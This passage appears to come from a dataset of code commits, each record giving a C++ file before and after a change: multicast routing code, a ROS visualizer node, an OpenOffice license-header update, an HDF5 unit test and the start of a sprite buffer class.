DBRequest::DB_ENTRY_DELETE;\n    Inet4MulticastRouteKey *rt_key = new Inet4MulticastRouteKey(vrf_name, \n                                                                grp_addr, \n                                                                src_addr);\n\n    req.key.reset(rt_key);\n    req.data.reset(NULL);\n    MulticastTableEnqueue(Agent::GetInstance(), &req);\n}\n\nvoid Inet4MulticastAgentRouteTable::Delete(const string &vrf_name,\n                                           const Ip4Address &src_addr,\n                                           const Ip4Address &grp_addr) {\n    DBRequest req(DBRequest::DB_ENTRY_DELETE);\n    req.key.reset(new Inet4MulticastRouteKey(vrf_name, grp_addr, src_addr));\n    req.data.reset(NULL);\n    MulticastTableProcess(Agent::GetInstance(), vrf_name, req);\n}\n\nAgentRoute *\nInet4MulticastRouteKey::AllocRouteEntry(VrfEntry *vrf, bool is_multicast) const \n{\n    Inet4MulticastRouteEntry * entry = new Inet4MulticastRouteEntry(vrf, dip_,\n                                                                    sip_);\n    return static_cast<AgentRoute *>(entry);\n}\n\nAgentRouteKey *Inet4MulticastRouteKey::Clone() const {\n    return (new Inet4MulticastRouteKey(vrf_name_, dip_, sip_));\n}\n\nstring Inet4MulticastRouteKey::ToString() const {\n    ostringstream str;\n    str << \"Group:\";\n    str << dip_.to_string();\n    str << \" Src:\";\n    str << sip_.to_string();\n    return str.str();\n}\n\nstring Inet4MulticastRouteEntry::ToString() const {\n    ostringstream str;\n    str << \"Group:\";\n    str << dst_addr_.to_string();\n    str << \" Src:\";\n    str << src_addr_.to_string();\n    return str.str();\n}\n\nint Inet4MulticastRouteEntry::CompareTo(const Route &rhs) const {\n    const Inet4MulticastRouteEntry &a = \n        static_cast<const Inet4MulticastRouteEntry &>(rhs);\n\n    if (src_addr_ < a.src_addr_)\n        return -1;\n\n    if (src_addr_ > a.src_addr_)\n        return 1;\n \n    if (dst_addr_ < a.dst_addr_)\n        return -1;\n\n    if (dst_addr_ > a.dst_addr_)\n        return 1;\n\n    return 0;\n}\n\nDBEntryBase::KeyPtr Inet4MulticastRouteEntry::GetDBRequestKey() const {\n    Inet4MulticastRouteKey *key = \n        new Inet4MulticastRouteKey(vrf()->GetName(), dst_addr_, \n                                   src_addr_);\n    return DBEntryBase::KeyPtr(key);\n}\n\nvoid Inet4MulticastRouteEntry::SetKey(const DBRequestKey *key) {\n    const Inet4MulticastRouteKey *k = \n        static_cast<const Inet4MulticastRouteKey *>(key);\n    SetVrf(Agent::GetInstance()->vrf_table()->FindVrfFromName(k->vrf_name()));\n    Ip4Address grp(k->dest_ip_addr());\n    Ip4Address src(k->src_ip_addr());\n    set_dest_ip_addr(grp);\n    set_src_ip_addr(src);\n}\n\nbool Inet4MulticastRouteEntry::DBEntrySandesh(Sandesh *sresp, bool stale) const {\n    Inet4McRouteResp *resp = static_cast<Inet4McRouteResp *>(sresp);\n\n    RouteMcSandeshData data;\n    data.set_src(src_ip_addr().to_string());\n    data.set_grp(dest_ip_addr().to_string());\n    MulticastGroupObject *mc_obj = MulticastHandler::GetInstance()->\n        FindGroupObject(vrf()->GetName(), dest_ip_addr());\n    Agent *agent = (static_cast<AgentRouteTable *>(get_table()))->agent();\n    if (!stale || (mc_obj && (mc_obj->peer_identifier() != agent->controller()->\n                   multicast_sequence_number()))) {\n        GetActiveNextHop()->SetNHSandeshData(data.nh);\n    }\n\n    std::vector<RouteMcSandeshData> &list = \n        const_cast<std::vector<RouteMcSandeshData>&>(resp->get_route_list());\n    list.push_back(data);\n    return true;\n}\n\nvoid Inet4McRouteReq::HandleRequest() const {\n    VrfEntry *vrf = \n        Agent::GetInstance()->vrf_table()->FindVrfFromId(get_vrf_index());\n    if (!vrf) {\n        ErrorResp *resp = new ErrorResp();\n        resp->set_context(context());\n        resp->Response();\n        return;\n    }\n\n    AgentSandeshPtr sand(new AgentInet4McRtSandesh(vrf, context(), \"\",\n                                                   get_stale()));\n    sand->DoSandesh(sand);\n}\n\nAgentSandeshPtr Inet4MulticastAgentRouteTable::GetAgentSandesh\n(const AgentSandeshArguments *args, const std::string &context) {\n    return AgentSandeshPtr(new AgentInet4McRtSandesh(vrf_entry(), context, \"\",\n                                                     false));\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <cmath>\n#include <string>\n\n#include <ros\/ros.h>\n#include <geometry_msgs\/Point.h>\n#include <rviz_visual_tools\/rviz_visual_tools.h>\n#include <tf2_eigen\/tf2_eigen.h>\n#include <tf2_ros\/transform_listener.h>\n\n#include <Eigen\/Geometry>\n\nint main(int argc, char** argv)\n{\n  ros::init(argc, argv, \"body_angle_visualizer\");\n  ros::NodeHandle n {};\n  ros::Publisher pub {n.advertise<geometry_msgs::Point>(\"body_direction\", 1)};\n  ros::Rate r {5};\n  tf2_ros::Buffer tfBuffer {};\n  tf2_ros::TransformListener tfListener {tfBuffer};\n  rviz_visual_tools::RvizVisualTools rvt {\"openni_depth_frame\", \"rviz_visual_markers\"};\n\n  ros::NodeHandle pn {\"~\"};\n  int target_number {0};\n  pn.getParam(\"target_number\", target_number);\n  std::string root_name {\"openni_depth_frame\"};\n  pn.getParam(\"root\", root_name);\n\n  const auto head_name {\"head_\" + std::to_string(target_number)};\n  const auto torso_name {\"torso_\" + std::to_string(target_number)};\n\n  while (ros::ok()) {\n    try {\n      const auto head_pos {tf2::transformToEigen(tfBuffer.lookupTransform(root_name, head_name, ros::Time{0}))};\n      const auto torso_pos {tf2::transformToEigen(tfBuffer.lookupTransform(root_name, torso_name, ros::Time{0}))};\n      const auto stand_vec {head_pos.translation() - torso_pos.translation()};\n      const auto stand_quaternion {Eigen::Quaterniond::FromTwoVectors(Eigen::Vector3d::UnitX(), stand_vec)};\n\n      pub.publish(tf2::toMsg(stand_vec));\n\n      rvt.deleteAllMarkers();\n      rvt.publishArrow(Eigen::Affine3d{stand_quaternion});\n\n      Eigen::Affine3d text_pos {};\n      text_pos.translation() = stand_vec;\n      rvt.publishText(text_pos, std::to_string(stand_vec.normalized()(1)), rviz_visual_tools::WHITE, rviz_visual_tools::XLARGE);\n\n      rvt.trigger();\n    } catch (tf2::TransformException &e) {\n      ROS_WARN(\"%s\", e.what());\n    }\n\n    r.sleep();\n  }\n}\n<commit_msg>Change default number<commit_after>#include <cmath>\n#include <string>\n\n#include <ros\/ros.h>\n#include <geometry_msgs\/Point.h>\n#include <rviz_visual_tools\/rviz_visual_tools.h>\n#include <tf2_eigen\/tf2_eigen.h>\n#include <tf2_ros\/transform_listener.h>\n\n#include <Eigen\/Geometry>\n\nint main(int argc, char** argv)\n{\n  ros::init(argc, argv, \"body_angle_visualizer\");\n  ros::NodeHandle n {};\n  ros::Publisher pub {n.advertise<geometry_msgs::Point>(\"body_direction\", 1)};\n  ros::Rate r {5};\n  tf2_ros::Buffer tfBuffer {};\n  tf2_ros::TransformListener tfListener {tfBuffer};\n  rviz_visual_tools::RvizVisualTools rvt {\"openni_depth_frame\", \"rviz_visual_markers\"};\n\n  ros::NodeHandle pn {\"~\"};\n  int target_number {1};\n  pn.getParam(\"target_number\", target_number);\n  std::string root_name {\"openni_depth_frame\"};\n  pn.getParam(\"root\", root_name);\n\n  const auto head_name {\"head_\" + std::to_string(target_number)};\n  const auto torso_name {\"torso_\" + std::to_string(target_number)};\n\n  while (ros::ok()) {\n    try {\n      const auto head_pos {tf2::transformToEigen(tfBuffer.lookupTransform(root_name, head_name, ros::Time{0}))};\n      const auto torso_pos {tf2::transformToEigen(tfBuffer.lookupTransform(root_name, torso_name, ros::Time{0}))};\n      const auto stand_vec {head_pos.translation() - torso_pos.translation()};\n      const auto stand_quaternion {Eigen::Quaterniond::FromTwoVectors(Eigen::Vector3d::UnitX(), stand_vec)};\n\n      pub.publish(tf2::toMsg(stand_vec));\n\n      rvt.deleteAllMarkers();\n      rvt.publishArrow(Eigen::Affine3d{stand_quaternion});\n\n      Eigen::Affine3d text_pos {};\n      text_pos.translation() = stand_vec;\n      rvt.publishText(text_pos, std::to_string(stand_vec.normalized()(1)), rviz_visual_tools::WHITE, rviz_visual_tools::XLARGE);\n\n      rvt.trigger();\n    } catch (tf2::TransformException &e) {\n      ROS_WARN(\"%s\", e.what());\n    }\n\n    r.sleep();\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: swfntcch.cxx,v $\n *\n *  $Revision: 1.9 $\n *\n *  last change: $Author: hr $ $Date: 2007-09-27 09:26:58 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sw.hxx\"\n\n\n#ifndef _VIEWSH_HXX\n#include <viewsh.hxx>\n#endif\n#include \"swfntcch.hxx\"\n#include \"fmtcol.hxx\"\n#include \"swfont.hxx\"\n\n\/\/ aus atrstck.cxx\nextern const BYTE StackPos[];\n\n\/\/ globale Variablen, werden in SwFntCch.Hxx bekanntgegeben\n\/\/ Der FontCache wird in TxtInit.Cxx _TXTINIT erzeugt und in _TXTEXIT geloescht\nSwFontCache *pSwFontCache = NULL;\n\n\/*************************************************************************\n|*\n|*  SwFontObj::SwFontObj(), ~SwFontObj()\n|*\n|*  Ersterstellung      AMA 25. Jun. 95\n|*  Letzte Aenderung    AMA 25. Jun. 95\n|*\n|*************************************************************************\/\n\nSwFontObj::SwFontObj( const void *pOwn, ViewShell *pSh ) :\n    SwCacheObj( (void*)pOwn ),\n    aSwFont( &((SwTxtFmtColl *)pOwn)->GetAttrSet(), pSh ? pSh->getIDocumentSettingAccess() : 0 )\n{\n    aSwFont.GoMagic( pSh, aSwFont.GetActual() );\n    const SwAttrSet& rAttrSet = ((SwTxtFmtColl *)pOwn)->GetAttrSet();\n    for (USHORT i = RES_CHRATR_BEGIN; i < RES_CHRATR_END; i++)\n        pDefaultArray[ StackPos[ i ] ] = &rAttrSet.Get( i, TRUE );\n}\n\nSwFontObj::~SwFontObj()\n{\n}\n\n\/*************************************************************************\n|*\n|*  SwFontAccess::SwFontAccess()\n|*\n|*  Ersterstellung      AMA 25. Jun. 95\n|*  Letzte Aenderung    AMA 25. Jun. 95\n|*\n|*************************************************************************\/\n\nSwFontAccess::SwFontAccess( const void *pOwn, ViewShell *pSh ) :\n    SwCacheAccess( *pSwFontCache, pOwn,\n            ((SwTxtFmtColl*)pOwn)->IsInSwFntCache() ),\n    pShell( pSh )\n{\n}\n\nSwFontObj *SwFontAccess::Get( )\n{\n    return (SwFontObj *) SwCacheAccess::Get( );\n}\n\nSwCacheObj *SwFontAccess::NewObj( )\n{\n    ((SwTxtFmtColl*)pOwner)->SetInSwFntCache( TRUE );\n    return new SwFontObj( pOwner, pShell );\n}\n\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.9.242); FILE MERGED 2008\/04\/01 12:54:29 thb 1.9.242.2: #i85898# Stripping all external header guards 2008\/03\/31 16:54:59 rt 1.9.242.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: swfntcch.cxx,v $\n * $Revision: 1.10 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sw.hxx\"\n\n\n#include <viewsh.hxx>\n#include \"swfntcch.hxx\"\n#include \"fmtcol.hxx\"\n#include \"swfont.hxx\"\n\n\/\/ aus atrstck.cxx\nextern const BYTE StackPos[];\n\n\/\/ globale Variablen, werden in SwFntCch.Hxx bekanntgegeben\n\/\/ Der FontCache wird in TxtInit.Cxx _TXTINIT erzeugt und in _TXTEXIT geloescht\nSwFontCache *pSwFontCache = NULL;\n\n\/*************************************************************************\n|*\n|*  SwFontObj::SwFontObj(), ~SwFontObj()\n|*\n|*  Ersterstellung      AMA 25. Jun. 95\n|*  Letzte Aenderung    AMA 25. Jun. 95\n|*\n|*************************************************************************\/\n\nSwFontObj::SwFontObj( const void *pOwn, ViewShell *pSh ) :\n    SwCacheObj( (void*)pOwn ),\n    aSwFont( &((SwTxtFmtColl *)pOwn)->GetAttrSet(), pSh ? pSh->getIDocumentSettingAccess() : 0 )\n{\n    aSwFont.GoMagic( pSh, aSwFont.GetActual() );\n    const SwAttrSet& rAttrSet = ((SwTxtFmtColl *)pOwn)->GetAttrSet();\n    for (USHORT i = RES_CHRATR_BEGIN; i < RES_CHRATR_END; i++)\n        pDefaultArray[ StackPos[ i ] ] = &rAttrSet.Get( i, TRUE );\n}\n\nSwFontObj::~SwFontObj()\n{\n}\n\n\/*************************************************************************\n|*\n|*  SwFontAccess::SwFontAccess()\n|*\n|*  Ersterstellung      AMA 25. Jun. 95\n|*  Letzte Aenderung    AMA 25. Jun. 95\n|*\n|*************************************************************************\/\n\nSwFontAccess::SwFontAccess( const void *pOwn, ViewShell *pSh ) :\n    SwCacheAccess( *pSwFontCache, pOwn,\n            ((SwTxtFmtColl*)pOwn)->IsInSwFntCache() ),\n    pShell( pSh )\n{\n}\n\nSwFontObj *SwFontAccess::Get( )\n{\n    return (SwFontObj *) SwCacheAccess::Get( );\n}\n\nSwCacheObj *SwFontAccess::NewObj( )\n{\n    ((SwTxtFmtColl*)pOwner)->SetInSwFntCache( TRUE );\n    return new SwFontObj( pOwner, pShell );\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>fdo#39468 Translate German Comments - shellio.cxx<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright © 2015 German Neuroinformatics Node (G-Node)\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted under the terms of the BSD License. See\n\/\/ LICENSE file in the root of the Project.\n\/\/\n\/\/ Author: Christian Kellner <kellner@bio.lmu.de>\n\n#include \"TestH5.hpp\"\n\n#include <nix\/hdf5\/FileHDF5.hpp>\n#include <nix\/hdf5\/ExceptionHDF5.hpp>\n\n#include \"RefTester.hpp\"\n\n#include <iostream>\n#include <sstream>\n#include <iterator>\n#include <stdexcept>\n#include <limits>\n\n\nunsigned int & TestH5::open_mode()\n{\n    static unsigned int openMode = H5F_ACC_TRUNC;\n    return openMode;\n}\n\n\nvoid TestH5::setUp() {\n    unsigned int &openMode = open_mode();\n\n    if (openMode == H5F_ACC_TRUNC) {\n        h5file = H5Fcreate(\"test_h5.h5\", openMode, H5P_DEFAULT, H5P_DEFAULT);\n    } else {\n        h5file = H5Fopen(\"test_h5.h5\", openMode, H5P_DEFAULT);\n    }\n\n    CPPUNIT_ASSERT(H5Iis_valid(h5file));\n\n    hid_t g;\n    if (openMode == H5F_ACC_TRUNC) {\n        g = H5Gcreate2(h5file, \"h5\", H5P_DEFAULT, H5P_DEFAULT, H5P_DEFAULT);\n    } else {\n        g = H5Gopen2(h5file, \"h5\", H5P_DEFAULT);\n    }\n\n    CPPUNIT_ASSERT(H5Iis_valid(g));\n    h5group = nix::hdf5::Group(g);\n\n    openMode = H5F_ACC_RDWR;\n}\n\nvoid TestH5::tearDown() {\n    h5group.close();\n    H5Fclose(h5file);\n}\n\n\nvoid TestH5::testBase() {\n    CPPUNIT_ASSERT(h5group.isValid());\n\n    nix::hdf5::Group g_invalid{};\n    CPPUNIT_ASSERT_EQUAL(false, g_invalid.isValid());\n    CPPUNIT_ASSERT_THROW(g_invalid.check(\"Error\"), nix::hdf5::H5Exception);\n\n    \/\/ check HTri\n\n    typedef nix::hdf5::HTri::value_type tri_type;\n\n    nix::hdf5::HTri htri_true(static_cast<tri_type >(1));\n    nix::hdf5::HTri htri_false(static_cast<tri_type >(0));\n    nix::hdf5::HTri htri_error(static_cast<tri_type >(-1));\n\n    CPPUNIT_ASSERT_EQUAL(static_cast<tri_type >(1), htri_true.value);\n    CPPUNIT_ASSERT_EQUAL(true, htri_true.result());\n    CPPUNIT_ASSERT_EQUAL(false, htri_true.isError());\n    CPPUNIT_ASSERT_EQUAL(false, !htri_true);\n    CPPUNIT_ASSERT_EQUAL(true, htri_true.check(\"Error\"));\n\n    CPPUNIT_ASSERT_EQUAL(static_cast<tri_type >(0), htri_false.value);\n    CPPUNIT_ASSERT_EQUAL(false, htri_false.result());\n    CPPUNIT_ASSERT_EQUAL(false, htri_false.isError());\n    CPPUNIT_ASSERT_EQUAL(true, !htri_false);\n    CPPUNIT_ASSERT_EQUAL(false, htri_false.check(\"Error\"));\n\n    CPPUNIT_ASSERT_EQUAL(static_cast<tri_type >(-1), htri_error.value);\n    CPPUNIT_ASSERT_EQUAL(false, htri_error.result());\n    CPPUNIT_ASSERT_EQUAL(true, htri_error.isError());\n    CPPUNIT_ASSERT_EQUAL(true, !htri_error);\n    CPPUNIT_ASSERT_THROW(htri_error.check(\"Error\"), nix::hdf5::H5Exception);\n\n    \/\/ check HErr\n\n    typedef nix::hdf5::HErr::value_type err_type;\n\n    nix::hdf5::HErr herr_success(static_cast<err_type>(1));\n    nix::hdf5::HErr herr_fail(static_cast<err_type>(-1));\n\n    CPPUNIT_ASSERT_EQUAL(static_cast<tri_type >(1), herr_success.value);\n    CPPUNIT_ASSERT_EQUAL(false, herr_success.isError());\n    CPPUNIT_ASSERT_EQUAL(false, !herr_success);\n    CPPUNIT_ASSERT_EQUAL(true, herr_success.check(\"Error\"));\n\n    CPPUNIT_ASSERT_EQUAL(static_cast<tri_type >(-1), herr_fail.value);\n    CPPUNIT_ASSERT_EQUAL(true, herr_fail.isError());\n    CPPUNIT_ASSERT_EQUAL(true, !herr_fail);\n    CPPUNIT_ASSERT_THROW(herr_fail.check(\"Error\"), nix::hdf5::H5Error);\n\n    nix::hdf5::HErr herr_default;\n    CPPUNIT_ASSERT_EQUAL(true, herr_default.isError());\n\n    \/\/check BaseHDF5\n\n    \/\/ref counting\n    hid_t ga = H5Gopen(h5file, \"\/\", H5P_DEFAULT);\n    hid_t gb = H5Gopen(h5file, \"\/h5\", H5P_DEFAULT);\n\n    CPPUNIT_ASSERT(ga > 0);\n    CPPUNIT_ASSERT(gb > 0);\n\n    test_refcounting<nix::hdf5::BaseHDF5>(ga, gb);\n\n    test_refcounting<nix::hdf5::LocID>(ga, gb);\n\n    \/\/name()\n    std::string name = h5group.name();\n\n    CPPUNIT_ASSERT_EQUAL(std::string(\"\/h5\"), name);\n    CPPUNIT_ASSERT_EQUAL(std::string{}, g_invalid.name());\n}\n\nvoid TestH5::testDataType() {\n    namespace h5x = nix::hdf5::h5x;\n\n    hid_t t_int = H5Tcopy(H5T_NATIVE_INT);\n    hid_t t_dbl = H5Tcopy(H5T_NATIVE_DOUBLE);\n\n    CPPUNIT_ASSERT(t_int > 0);\n    CPPUNIT_ASSERT(t_dbl > 0);\n\n    test_refcounting<h5x::DataType>(t_int, t_dbl);\n\n    H5Tclose(t_int);\n    H5Tclose(t_dbl);\n    \n    h5x::DataType v_str = h5x::DataType::makeStrType();\n    CPPUNIT_ASSERT_EQUAL(true, v_str.isVariableString());\n\n    h5x::DataType str_255 = h5x::DataType::makeStrType(255);\n    CPPUNIT_ASSERT_EQUAL(static_cast<size_t>(255), str_255.size());\n\n}\n\nvoid TestH5::testDataSpace() {\n\n    std::vector<hsize_t> dims = {4, 6};\n    hid_t ds = H5Screate_simple(static_cast<int>(dims.size()), dims.data(), nullptr);\n    nix::hdf5::DataSpace space(ds);\n\n    nix::NDSize es = space.extent();\n    CPPUNIT_ASSERT_EQUAL(es.size(), dims.size());\n    CPPUNIT_ASSERT_EQUAL(es[0], dims[0]);\n    CPPUNIT_ASSERT_EQUAL(es[1], dims[1]);\n\n    CPPUNIT_ASSERT_EQUAL(1, H5Iget_ref(ds));\n    space.close();\n}\n<commit_msg>[test] test check_h5_arg_name<commit_after>\/\/ Copyright © 2015 German Neuroinformatics Node (G-Node)\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted under the terms of the BSD License. See\n\/\/ LICENSE file in the root of the Project.\n\/\/\n\/\/ Author: Christian Kellner <kellner@bio.lmu.de>\n\n#include \"TestH5.hpp\"\n\n#include <nix\/hdf5\/FileHDF5.hpp>\n#include <nix\/hdf5\/ExceptionHDF5.hpp>\n\n#include \"RefTester.hpp\"\n\n#include <iostream>\n#include <sstream>\n#include <iterator>\n#include <stdexcept>\n#include <limits>\n\n\nunsigned int & TestH5::open_mode()\n{\n    static unsigned int openMode = H5F_ACC_TRUNC;\n    return openMode;\n}\n\n\nvoid TestH5::setUp() {\n    unsigned int &openMode = open_mode();\n\n    if (openMode == H5F_ACC_TRUNC) {\n        h5file = H5Fcreate(\"test_h5.h5\", openMode, H5P_DEFAULT, H5P_DEFAULT);\n    } else {\n        h5file = H5Fopen(\"test_h5.h5\", openMode, H5P_DEFAULT);\n    }\n\n    CPPUNIT_ASSERT(H5Iis_valid(h5file));\n\n    hid_t g;\n    if (openMode == H5F_ACC_TRUNC) {\n        g = H5Gcreate2(h5file, \"h5\", H5P_DEFAULT, H5P_DEFAULT, H5P_DEFAULT);\n    } else {\n        g = H5Gopen2(h5file, \"h5\", H5P_DEFAULT);\n    }\n\n    CPPUNIT_ASSERT(H5Iis_valid(g));\n    h5group = nix::hdf5::Group(g);\n\n    openMode = H5F_ACC_RDWR;\n}\n\nvoid TestH5::tearDown() {\n    h5group.close();\n    H5Fclose(h5file);\n}\n\n\nvoid TestH5::testBase() {\n    CPPUNIT_ASSERT(h5group.isValid());\n\n    nix::hdf5::Group g_invalid{};\n    CPPUNIT_ASSERT_EQUAL(false, g_invalid.isValid());\n    CPPUNIT_ASSERT_THROW(g_invalid.check(\"Error\"), nix::hdf5::H5Exception);\n\n    \/\/ check check, heh\n    CPPUNIT_ASSERT_THROW(check_h5_arg_name(\"foo\/bar\"), std::invalid_argument);\n\n    \/\/ check HTri\n\n    typedef nix::hdf5::HTri::value_type tri_type;\n\n    nix::hdf5::HTri htri_true(static_cast<tri_type >(1));\n    nix::hdf5::HTri htri_false(static_cast<tri_type >(0));\n    nix::hdf5::HTri htri_error(static_cast<tri_type >(-1));\n\n    CPPUNIT_ASSERT_EQUAL(static_cast<tri_type >(1), htri_true.value);\n    CPPUNIT_ASSERT_EQUAL(true, htri_true.result());\n    CPPUNIT_ASSERT_EQUAL(false, htri_true.isError());\n    CPPUNIT_ASSERT_EQUAL(false, !htri_true);\n    CPPUNIT_ASSERT_EQUAL(true, htri_true.check(\"Error\"));\n\n    CPPUNIT_ASSERT_EQUAL(static_cast<tri_type >(0), htri_false.value);\n    CPPUNIT_ASSERT_EQUAL(false, htri_false.result());\n    CPPUNIT_ASSERT_EQUAL(false, htri_false.isError());\n    CPPUNIT_ASSERT_EQUAL(true, !htri_false);\n    CPPUNIT_ASSERT_EQUAL(false, htri_false.check(\"Error\"));\n\n    CPPUNIT_ASSERT_EQUAL(static_cast<tri_type >(-1), htri_error.value);\n    CPPUNIT_ASSERT_EQUAL(false, htri_error.result());\n    CPPUNIT_ASSERT_EQUAL(true, htri_error.isError());\n    CPPUNIT_ASSERT_EQUAL(true, !htri_error);\n    CPPUNIT_ASSERT_THROW(htri_error.check(\"Error\"), nix::hdf5::H5Exception);\n\n    \/\/ check HErr\n\n    typedef nix::hdf5::HErr::value_type err_type;\n\n    nix::hdf5::HErr herr_success(static_cast<err_type>(1));\n    nix::hdf5::HErr herr_fail(static_cast<err_type>(-1));\n\n    CPPUNIT_ASSERT_EQUAL(static_cast<tri_type >(1), herr_success.value);\n    CPPUNIT_ASSERT_EQUAL(false, herr_success.isError());\n    CPPUNIT_ASSERT_EQUAL(false, !herr_success);\n    CPPUNIT_ASSERT_EQUAL(true, herr_success.check(\"Error\"));\n\n    CPPUNIT_ASSERT_EQUAL(static_cast<tri_type >(-1), herr_fail.value);\n    CPPUNIT_ASSERT_EQUAL(true, herr_fail.isError());\n    CPPUNIT_ASSERT_EQUAL(true, !herr_fail);\n    CPPUNIT_ASSERT_THROW(herr_fail.check(\"Error\"), nix::hdf5::H5Error);\n\n    nix::hdf5::HErr herr_default;\n    CPPUNIT_ASSERT_EQUAL(true, herr_default.isError());\n\n    \/\/check BaseHDF5\n\n    \/\/ref counting\n    hid_t ga = H5Gopen(h5file, \"\/\", H5P_DEFAULT);\n    hid_t gb = H5Gopen(h5file, \"\/h5\", H5P_DEFAULT);\n\n    CPPUNIT_ASSERT(ga > 0);\n    CPPUNIT_ASSERT(gb > 0);\n\n    test_refcounting<nix::hdf5::BaseHDF5>(ga, gb);\n\n    test_refcounting<nix::hdf5::LocID>(ga, gb);\n\n    \/\/name()\n    std::string name = h5group.name();\n\n    CPPUNIT_ASSERT_EQUAL(std::string(\"\/h5\"), name);\n    CPPUNIT_ASSERT_EQUAL(std::string{}, g_invalid.name());\n}\n\nvoid TestH5::testDataType() {\n    namespace h5x = nix::hdf5::h5x;\n\n    hid_t t_int = H5Tcopy(H5T_NATIVE_INT);\n    hid_t t_dbl = H5Tcopy(H5T_NATIVE_DOUBLE);\n\n    CPPUNIT_ASSERT(t_int > 0);\n    CPPUNIT_ASSERT(t_dbl > 0);\n\n    test_refcounting<h5x::DataType>(t_int, t_dbl);\n\n    H5Tclose(t_int);\n    H5Tclose(t_dbl);\n    \n    h5x::DataType v_str = h5x::DataType::makeStrType();\n    CPPUNIT_ASSERT_EQUAL(true, v_str.isVariableString());\n\n    h5x::DataType str_255 = h5x::DataType::makeStrType(255);\n    CPPUNIT_ASSERT_EQUAL(static_cast<size_t>(255), str_255.size());\n\n}\n\nvoid TestH5::testDataSpace() {\n\n    std::vector<hsize_t> dims = {4, 6};\n    hid_t ds = H5Screate_simple(static_cast<int>(dims.size()), dims.data(), nullptr);\n    nix::hdf5::DataSpace space(ds);\n\n    nix::NDSize es = space.extent();\n    CPPUNIT_ASSERT_EQUAL(es.size(), dims.size());\n    CPPUNIT_ASSERT_EQUAL(es[0], dims[0]);\n    CPPUNIT_ASSERT_EQUAL(es[1], dims[1]);\n\n    CPPUNIT_ASSERT_EQUAL(1, H5Iget_ref(ds));\n    space.close();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Created by Bentoo on 2017-04-13.\n\/\/\n\n#include <cstring>\n#include <Utils\/MemoryBlock.h>\n#include \"Core\/Gfx\/SpriteBatchManager.h\"\n#include \"Core\/Gfx\/SpriteBatch.h\"\n#include \"Core\/Gfx\/Sprite.h\"\n#include \"Core\/Gfx\/Camera.h\"\n#include \"Core\/Resources\/Material\/MaterialManager.h\"\n#include \"Core\/Engine.h\"\n#include \"Core\/Logger.h\"\n\nnamespace Gfx\n{\n\tconst std::int32_t SpriteBuffer::DEFAULT_BUFFER_SIZE = 1000;\n\tconst std::int32_t SpriteBuffer::MAX_BUFFER_SIZE = 64*1000;\n\n\tSpriteBuffer::SpriteBuffer(Memory::IMemoryBlock& memory, std::int32_t size)\n\t\t: _mappedPtr(nullptr), _vbo(nullptr), maximumSize(size), currentSize(0), offset(0)\n\t{\n\t\t_vbo = OpenGL::VBO::Create(memory);\n\n\t\tgl::BindBuffer(gl::ARRAY_BUFFER, *_vbo);\n\t\tOpenGL::checkError();\n\n\t\tgl::BufferData(gl::ARRAY_BUFFER, maximumSize * sizeof(SpriteVertex), nullptr, gl::DYNAMIC_DRAW);\n\t\tOpenGL::checkError();\n\n\t\t_vao = OpenGL::VAO::Create(memory);\n\n\t\tgl::BindVertexArray(getVAO());\n\n\t\tCore::Logger::info(\"SpriteBatchManager : creating sprite VAO...\");\n\n\t\tgl::EnableVertexAttribArray(0);\n\t\tOpenGL::checkError();\n\t\tgl::VertexAttribPointer(0, 3, gl::FLOAT, gl::FALSE_, sizeof(SpriteVertex), reinterpret_cast<void*>(0));\n\t\tOpenGL::checkError();\n\n\t\tgl::EnableVertexAttribArray(1);\n\t\tOpenGL::checkError();\n\t\tauto textureOffset = sizeof(glm::vec3);\n\t\tgl::VertexAttribPointer(1, 3, gl::FLOAT, gl::FALSE_, sizeof(SpriteVertex), reinterpret_cast<void*>(textureOffset));\n\t\tOpenGL::checkError();\n\n\t\tgl::EnableVertexAttribArray(2);\n\t\tOpenGL::checkError();\n\t\tauto colorOffset = sizeof(glm::vec3) * 2;\n\t\tgl::VertexAttribPointer(2, 4, gl::UNSIGNED_BYTE, gl::TRUE_, sizeof(SpriteVertex), 